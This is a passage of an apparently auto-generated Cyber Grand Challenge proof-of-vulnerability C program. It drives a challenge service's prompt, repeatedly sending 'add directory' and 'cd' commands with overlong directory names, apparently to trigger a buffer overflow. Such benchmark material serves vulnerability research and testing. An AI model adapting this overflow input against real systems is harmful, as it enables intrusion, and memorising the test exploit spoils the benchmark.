NULL; unsigned int write_00047_len = 0; write_00047 = cgc_append_buf(write_00047, &write_00047_len, write_00047_00000, write_00047_00000_len); if (write_00047_len > 0) { cgc_transmit_all(1, write_00047, write_00047_len); } cgc_free(write_00047); } while (0); do { unsigned char *read_00134; unsigned int read_00134_len; unsigned int read_00134_ptr = 0; //**** delimited read static unsigned char read_00134_delim[] = "\x40"; read_00134 = NULL; read_00134_len = 0; int read_00134_res = cgc_delimited_read(0, &read_00134, &read_00134_len, read_00134_delim, 1); if (read_00134_res) {} //silence unused variable warning //**** read match data static unsigned char match_00134_00000[] = "\x72\x6f\x6f\x74"; read_00134_ptr += cgc_data_match(read_00134 + read_00134_ptr, read_00134_len - read_00134_ptr, match_00134_00000, 4); cgc_free(read_00134); if (read_00134_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00135; unsigned int read_00135_len; unsigned int read_00135_ptr = 0; //**** delimited read static unsigned char read_00135_delim[] = "\x2f"; read_00135 = NULL; read_00135_len = 0; int read_00135_res = cgc_delimited_read(0, &read_00135, &read_00135_len, read_00135_delim, 1); if (read_00135_res) {} //silence unused variable warning //**** read match data static unsigned char match_00135_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00135_ptr += cgc_data_match(read_00135 + read_00135_ptr, read_00135_len - read_00135_ptr, match_00135_00000, 6); cgc_free(read_00135); if (read_00135_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00136; unsigned int read_00136_len; unsigned int read_00136_ptr = 0; //**** delimited read static unsigned char read_00136_delim[] = "\x3e"; read_00136 = NULL; read_00136_len = 0; int read_00136_res = cgc_delimited_read(0, &read_00136, &read_00136_len, read_00136_delim, 1); if (read_00136_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00136_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00136_00000_match; pcre *read_00136_00000_pcre = cgc_init_regex(read_00136_00000_regex); if (read_00136_00000_pcre != NULL) { int rc = cgc_regex_match(read_00136_00000_pcre, 0, read_00136 + read_00136_ptr, read_00136_len - read_00136_ptr, &read_00136_00000_match); if (rc > 0) { read_00136_ptr += read_00136_00000_match.match_end - read_00136_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00136_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00136); if (read_00136_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00048_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00048_00000_len = 115; unsigned char *write_00048 = NULL; unsigned int write_00048_len = 0; write_00048 = cgc_append_buf(write_00048, &write_00048_len, write_00048_00000, write_00048_00000_len); if (write_00048_len > 0) { cgc_transmit_all(1, write_00048, write_00048_len); } cgc_free(write_00048); } while (0); do { unsigned char *read_00137; unsigned int read_00137_len; unsigned int read_00137_ptr = 0; //**** delimited read static unsigned char read_00137_delim[] = "\x40"; read_00137 = NULL; read_00137_len = 0; int read_00137_res = cgc_delimited_read(0, &read_00137, &read_00137_len, read_00137_delim, 1); if (read_00137_res) {} //silence unused variable warning //**** read match data static unsigned char match_00137_00000[] = "\x72\x6f\x6f\x74"; read_00137_ptr += cgc_data_match(read_00137 + read_00137_ptr, read_00137_len - read_00137_ptr, match_00137_00000, 4); cgc_free(read_00137); if (read_00137_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00138; unsigned int read_00138_len; unsigned int read_00138_ptr = 0; //**** delimited read static unsigned char read_00138_delim[] = "\x2f"; read_00138 = NULL; read_00138_len = 0; int read_00138_res = cgc_delimited_read(0, &read_00138, &read_00138_len, read_00138_delim, 1); if (read_00138_res) {} //silence unused variable warning //**** read match data static unsigned char match_00138_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00138_ptr += cgc_data_match(read_00138 + read_00138_ptr, read_00138_len - read_00138_ptr, match_00138_00000, 6); cgc_free(read_00138); if (read_00138_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00139; unsigned int read_00139_len; unsigned int read_00139_ptr = 0; //**** delimited read static unsigned char read_00139_delim[] = "\x3e"; read_00139 = NULL; read_00139_len = 0; int read_00139_res = cgc_delimited_read(0, &read_00139, &read_00139_len, read_00139_delim, 1); if (read_00139_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00139_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00139_00000_match; pcre *read_00139_00000_pcre = cgc_init_regex(read_00139_00000_regex); if (read_00139_00000_pcre != NULL) { int rc = cgc_regex_match(read_00139_00000_pcre, 0, read_00139 + read_00139_ptr, read_00139_len - read_00139_ptr, &read_00139_00000_match); if (rc > 0) { read_00139_ptr += read_00139_00000_match.match_end - read_00139_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00139_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00139); if (read_00139_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00049_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00049_00000_len = 104; unsigned char *write_00049 = NULL; unsigned int write_00049_len = 0; write_00049 = cgc_append_buf(write_00049, &write_00049_len, write_00049_00000, write_00049_00000_len); if (write_00049_len > 0) { cgc_transmit_all(1, write_00049, write_00049_len); } cgc_free(write_00049); } while (0); do { unsigned char *read_00140; unsigned int read_00140_len; unsigned int read_00140_ptr = 0; //**** delimited read static unsigned char read_00140_delim[] = "\x40"; read_00140 = NULL; read_00140_len = 0; int read_00140_res = cgc_delimited_read(0, &read_00140, &read_00140_len, read_00140_delim, 1); if (read_00140_res) {} //silence unused variable warning //**** read match data static unsigned char match_00140_00000[] = "\x72\x6f\x6f\x74"; read_00140_ptr += cgc_data_match(read_00140 + read_00140_ptr, read_00140_len - read_00140_ptr, match_00140_00000, 4); cgc_free(read_00140); if (read_00140_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00141; unsigned int read_00141_len; unsigned int read_00141_ptr = 0; //**** delimited read static unsigned char read_00141_delim[] = "\x2f"; read_00141 = NULL; read_00141_len = 0; int read_00141_res = cgc_delimited_read(0, &read_00141, &read_00141_len, read_00141_delim, 1); if (read_00141_res) {} //silence unused variable warning //**** read match data static unsigned char match_00141_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00141_ptr += cgc_data_match(read_00141 + read_00141_ptr, read_00141_len - read_00141_ptr, match_00141_00000, 6); cgc_free(read_00141); if (read_00141_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00142; unsigned int read_00142_len; unsigned int read_00142_ptr = 0; //**** delimited read static unsigned char read_00142_delim[] = "\x3e"; read_00142 = NULL; read_00142_len = 0; int read_00142_res = cgc_delimited_read(0, &read_00142, &read_00142_len, read_00142_delim, 1); if (read_00142_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00142_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00142_00000_match; pcre *read_00142_00000_pcre = cgc_init_regex(read_00142_00000_regex); if (read_00142_00000_pcre != NULL) { int rc = cgc_regex_match(read_00142_00000_pcre, 0, read_00142 + read_00142_ptr, read_00142_len - read_00142_ptr, &read_00142_00000_match); if (rc > 0) { read_00142_ptr += read_00142_00000_match.match_end - read_00142_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00142_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00142); if (read_00142_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00050_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00050_00000_len = 115; unsigned char *write_00050 = NULL; unsigned int write_00050_len = 0; write_00050 = cgc_append_buf(write_00050, &write_00050_len, write_00050_00000, write_00050_00000_len); if (write_00050_len > 0) { cgc_transmit_all(1, write_00050, write_00050_len); } cgc_free(write_00050); } while (0); do { unsigned char *read_00143; unsigned int read_00143_len; unsigned int read_00143_ptr = 0; //**** delimited read static unsigned char read_00143_delim[] = "\x40"; read_00143 = NULL; read_00143_len = 0; int read_00143_res = cgc_delimited_read(0, &read_00143, &read_00143_len, read_00143_delim, 1); if (read_00143_res) {} //silence unused variable warning //**** read match data static unsigned char match_00143_00000[] = "\x72\x6f\x6f\x74"; read_00143_ptr += cgc_data_match(read_00143 + read_00143_ptr, read_00143_len - read_00143_ptr, match_00143_00000, 4); cgc_free(read_00143); if (read_00143_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00144; unsigned int read_00144_len; unsigned int read_00144_ptr = 0; //**** delimited read static unsigned char read_00144_delim[] = "\x2f"; read_00144 = NULL; read_00144_len = 0; int read_00144_res = cgc_delimited_read(0, &read_00144, &read_00144_len, read_00144_delim, 1); if (read_00144_res) {} //silence unused variable warning //**** read match data static unsigned char match_00144_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00144_ptr += cgc_data_match(read_00144 + read_00144_ptr, read_00144_len - read_00144_ptr, match_00144_00000, 6); cgc_free(read_00144); if (read_00144_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00145; unsigned int read_00145_len; unsigned int read_00145_ptr = 0; //**** delimited read static unsigned char read_00145_delim[] = "\x3e"; read_00145 = NULL; read_00145_len = 0; int read_00145_res = cgc_delimited_read(0, &read_00145, &read_00145_len, read_00145_delim, 1); if (read_00145_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00145_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00145_00000_match; pcre *read_00145_00000_pcre = cgc_init_regex(read_00145_00000_regex); if (read_00145_00000_pcre != NULL) { int rc = cgc_regex_match(read_00145_00000_pcre, 0, read_00145 + read_00145_ptr, read_00145_len - read_00145_ptr, &read_00145_00000_match); if (rc > 0) { read_00145_ptr += read_00145_00000_match.match_end - read_00145_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00145_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00145); if (read_00145_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00051_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00051_00000_len = 104; unsigned char *write_00051 = NULL; unsigned int write_00051_len = 0; write_00051 = cgc_append_buf(write_00051, &write_00051_len, write_00051_00000, write_00051_00000_len); if (write_00051_len > 0) { cgc_transmit_all(1, write_00051, write_00051_len); } cgc_free(write_00051); } while (0); do { unsigned char *read_00146; unsigned int read_00146_len; unsigned int read_00146_ptr = 0; //**** delimited read static unsigned char read_00146_delim[] = "\x40"; read_00146 = NULL; read_00146_len = 0; int read_00146_res = cgc_delimited_read(0, &read_00146, &read_00146_len, read_00146_delim, 1); if (read_00146_res) {} //silence unused variable warning //**** read match data static unsigned char match_00146_00000[] = "\x72\x6f\x6f\x74"; read_00146_ptr += cgc_data_match(read_00146 + read_00146_ptr, read_00146_len - read_00146_ptr, match_00146_00000, 4); cgc_free(read_00146); if (read_00146_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00147; unsigned int read_00147_len; unsigned int read_00147_ptr = 0; //**** delimited read static unsigned char read_00147_delim[] = "\x2f"; read_00147 = NULL; read_00147_len = 0; int read_00147_res = cgc_delimited_read(0, &read_00147, &read_00147_len, read_00147_delim, 1); if (read_00147_res) {} //silence unused variable warning //**** read match data static unsigned char match_00147_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00147_ptr += cgc_data_match(read_00147 + read_00147_ptr, read_00147_len - read_00147_ptr, match_00147_00000, 6); cgc_free(read_00147); if (read_00147_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00148; unsigned int read_00148_len; unsigned int read_00148_ptr = 0; //**** delimited read static unsigned char read_00148_delim[] = "\x3e"; read_00148 = NULL; read_00148_len = 0; int read_00148_res = cgc_delimited_read(0, &read_00148, &read_00148_len, read_00148_delim, 1); if (read_00148_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00148_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00148_00000_match; pcre *read_00148_00000_pcre = cgc_init_regex(read_00148_00000_regex); if (read_00148_00000_pcre != NULL) { int rc = cgc_regex_match(read_00148_00000_pcre, 0, read_00148 + read_00148_ptr, read_00148_len - read_00148_ptr, &read_00148_00000_match); if (rc > 0) { read_00148_ptr += read_00148_00000_match.match_end - read_00148_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00148_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00148); if (read_00148_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00052_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00052_00000_len = 115; unsigned char *write_00052 = NULL; unsigned int write_00052_len = 0; write_00052 = cgc_append_buf(write_00052, &write_00052_len, write_00052_00000, write_00052_00000_len); if (write_00052_len > 0) { cgc_transmit_all(1, write_00052, write_00052_len); } cgc_free(write_00052); } while (0); do { unsigned char *read_00149; unsigned int read_00149_len; unsigned int read_00149_ptr = 0; //**** delimited read static unsigned char read_00149_delim[] = "\x40"; read_00149 = NULL; read_00149_len = 0; int read_00149_res = cgc_delimited_read(0, &read_00149, &read_00149_len, read_00149_delim, 1); if (read_00149_res) {} //silence unused variable warning //**** read match data static unsigned char match_00149_00000[] = "\x72\x6f\x6f\x74"; read_00149_ptr += cgc_data_match(read_00149 + read_00149_ptr, read_00149_len - read_00149_ptr, match_00149_00000, 4); cgc_free(read_00149); if (read_00149_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00150; unsigned int read_00150_len; unsigned int read_00150_ptr = 0; //**** delimited read static unsigned char read_00150_delim[] = "\x2f"; read_00150 = NULL; read_00150_len = 0; int read_00150_res = cgc_delimited_read(0, &read_00150, &read_00150_len, read_00150_delim, 1); if (read_00150_res) {} //silence unused variable warning //**** read match data static unsigned char match_00150_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00150_ptr += cgc_data_match(read_00150 + read_00150_ptr, read_00150_len - read_00150_ptr, match_00150_00000, 6); cgc_free(read_00150); if (read_00150_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00151; unsigned int read_00151_len; unsigned int read_00151_ptr = 0; //**** delimited read static unsigned char read_00151_delim[] = "\x3e"; read_00151 = NULL; read_00151_len = 0; int read_00151_res = cgc_delimited_read(0, &read_00151, &read_00151_len, read_00151_delim, 1); if (read_00151_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00151_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00151_00000_match; pcre *read_00151_00000_pcre = cgc_init_regex(read_00151_00000_regex); if (read_00151_00000_pcre != NULL) { int rc = cgc_regex_match(read_00151_00000_pcre, 0, read_00151 + read_00151_ptr, read_00151_len - read_00151_ptr, &read_00151_00000_match); if (rc > 0) { read_00151_ptr += read_00151_00000_match.match_end - read_00151_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00151_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00151); if (read_00151_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00053_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00053_00000_len = 104; unsigned char *write_00053 = NULL; unsigned int write_00053_len = 0; write_00053 = cgc_append_buf(write_00053, &write_00053_len, write_00053_00000, write_00053_00000_len); if (write_00053_len > 0) { cgc_transmit_all(1, write_00053, write_00053_len); } cgc_free(write_00053); } while (0); do { unsigned char *read_00152; unsigned int read_00152_len; unsigned int read_00152_ptr = 0; //**** delimited read static unsigned char read_00152_delim[] = "\x40"; read_00152 = NULL; read_00152_len = 0; int read_00152_res = cgc_delimited_read(0, &read_00152, &read_00152_len, read_00152_delim, 1); if (read_00152_res) {} //silence unused variable warning //**** read match data static unsigned char match_00152_00000[] = "\x72\x6f\x6f\x74"; read_00152_ptr += cgc_data_match(read_00152 + read_00152_ptr, read_00152_len - read_00152_ptr, match_00152_00000, 4); cgc_free(read_00152); if (read_00152_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00153; unsigned int read_00153_len; unsigned int read_00153_ptr = 0; //**** delimited read static unsigned char read_00153_delim[] = "\x2f"; read_00153 = NULL; read_00153_len = 0; int read_00153_res = cgc_delimited_read(0, &read_00153, &read_00153_len, read_00153_delim, 1); if (read_00153_res) {} //silence unused variable warning //**** read match data static unsigned char match_00153_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00153_ptr += cgc_data_match(read_00153 + read_00153_ptr, read_00153_len - read_00153_ptr, match_00153_00000, 6); cgc_free(read_00153); if (read_00153_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00154; unsigned int read_00154_len; unsigned int read_00154_ptr = 0; //**** delimited read static unsigned char read_00154_delim[] = "\x3e"; read_00154 = NULL; read_00154_len = 0; int read_00154_res = cgc_delimited_read(0, &read_00154, &read_00154_len, read_00154_delim, 1); if (read_00154_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00154_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00154_00000_match; pcre *read_00154_00000_pcre = cgc_init_regex(read_00154_00000_regex); if (read_00154_00000_pcre != NULL) { int rc = cgc_regex_match(read_00154_00000_pcre, 0, read_00154 + read_00154_ptr, read_00154_len - read_00154_ptr, &read_00154_00000_match); if (rc > 0) { read_00154_ptr += read_00154_00000_match.match_end - read_00154_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00154_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00154); if (read_00154_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00054_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00054_00000_len = 115; unsigned char *write_00054 = NULL; unsigned int write_00054_len = 0; write_00054 = cgc_append_buf(write_00054, &write_00054_len, write_00054_00000, write_00054_00000_len); if (write_00054_len > 0) { cgc_transmit_all(1, write_00054, write_00054_len); } cgc_free(write_00054); } while (0); do { unsigned char *read_00155; unsigned int read_00155_len; unsigned int read_00155_ptr = 0; //**** delimited read static unsigned char read_00155_delim[] = "\x40"; read_00155 = NULL; read_00155_len = 0; int read_00155_res = cgc_delimited_read(0, &read_00155, &read_00155_len, read_00155_delim, 1); if (read_00155_res) {} //silence unused variable warning //**** read match data static unsigned char match_00155_00000[] = "\x72\x6f\x6f\x74"; read_00155_ptr += cgc_data_match(read_00155 + read_00155_ptr, read_00155_len - read_00155_ptr, match_00155_00000, 4); cgc_free(read_00155); if (read_00155_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00156; unsigned int read_00156_len; unsigned int read_00156_ptr = 0; //**** delimited read static unsigned char read_00156_delim[] = "\x2f"; read_00156 = NULL; read_00156_len = 0; int read_00156_res = cgc_delimited_read(0, &read_00156, &read_00156_len, read_00156_delim, 1); if (read_00156_res) {} //silence unused variable warning //**** read match data static unsigned char match_00156_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00156_ptr += cgc_data_match(read_00156 + read_00156_ptr, read_00156_len - read_00156_ptr, match_00156_00000, 6); cgc_free(read_00156); if (read_00156_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00157; unsigned int read_00157_len; unsigned int read_00157_ptr = 0; //**** delimited read static unsigned char read_00157_delim[] = "\x3e"; read_00157 = NULL; read_00157_len = 0; int read_00157_res = cgc_delimited_read(0, &read_00157, &read_00157_len, read_00157_delim, 1); if (read_00157_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00157_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00157_00000_match; pcre *read_00157_00000_pcre = cgc_init_regex(read_00157_00000_regex); if (read_00157_00000_pcre != NULL) { int rc = cgc_regex_match(read_00157_00000_pcre, 0, read_00157 + read_00157_ptr, read_00157_len - read_00157_ptr, &read_00157_00000_match); if (rc > 0) { read_00157_ptr += read_00157_00000_match.match_end - read_00157_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00157_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00157); if (read_00157_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00055_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00055_00000_len = 104; unsigned char *write_00055 = NULL; unsigned int write_00055_len = 0; write_00055 = cgc_append_buf(write_00055, &write_00055_len, write_00055_00000, write_00055_00000_len); if (write_00055_len > 0) { cgc_transmit_all(1, write_00055, write_00055_len); } cgc_free(write_00055); } while (0); do { unsigned char *read_00158; unsigned int read_00158_len; unsigned int read_00158_ptr = 0; //**** delimited read static unsigned char read_00158_delim[] = "\x40"; read_00158 = NULL; read_00158_len = 0; int read_00158_res = cgc_delimited_read(0, &read_00158, &read_00158_len, read_00158_delim, 1); if (read_00158_res) {} //silence unused variable warning //**** read match data static unsigned char match_00158_00000[] = "\x72\x6f\x6f\x74"; read_00158_ptr += cgc_data_match(read_00158 + read_00158_ptr, read_00158_len - read_00158_ptr, match_00158_00000, 4); cgc_free(read_00158); if (read_00158_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00159; unsigned int read_00159_len; unsigned int read_00159_ptr = 0; //**** delimited read static unsigned char read_00159_delim[] = "\x2f"; read_00159 = NULL; read_00159_len = 0; int read_00159_res = cgc_delimited_read(0, &read_00159, &read_00159_len, read_00159_delim, 1); if (read_00159_res) {} //silence unused variable warning //**** read match data static unsigned char match_00159_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00159_ptr += cgc_data_match(read_00159 + read_00159_ptr, read_00159_len - read_00159_ptr, match_00159_00000, 6); cgc_free(read_00159); if (read_00159_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00160; unsigned int read_00160_len; unsigned int read_00160_ptr = 0; //**** delimited read static unsigned char read_00160_delim[] = "\x3e"; read_00160 = NULL; read_00160_len = 0; int read_00160_res = cgc_delimited_read(0, &read_00160, &read_00160_len, read_00160_delim, 1); if (read_00160_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00160_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00160_00000_match; pcre *read_00160_00000_pcre = cgc_init_regex(read_00160_00000_regex); if (read_00160_00000_pcre != NULL) { int rc = cgc_regex_match(read_00160_00000_pcre, 0, read_00160 + read_00160_ptr, read_00160_len - read_00160_ptr, &read_00160_00000_match); if (rc > 0) { read_00160_ptr += read_00160_00000_match.match_end - read_00160_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00160_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00160); if (read_00160_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00056_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" 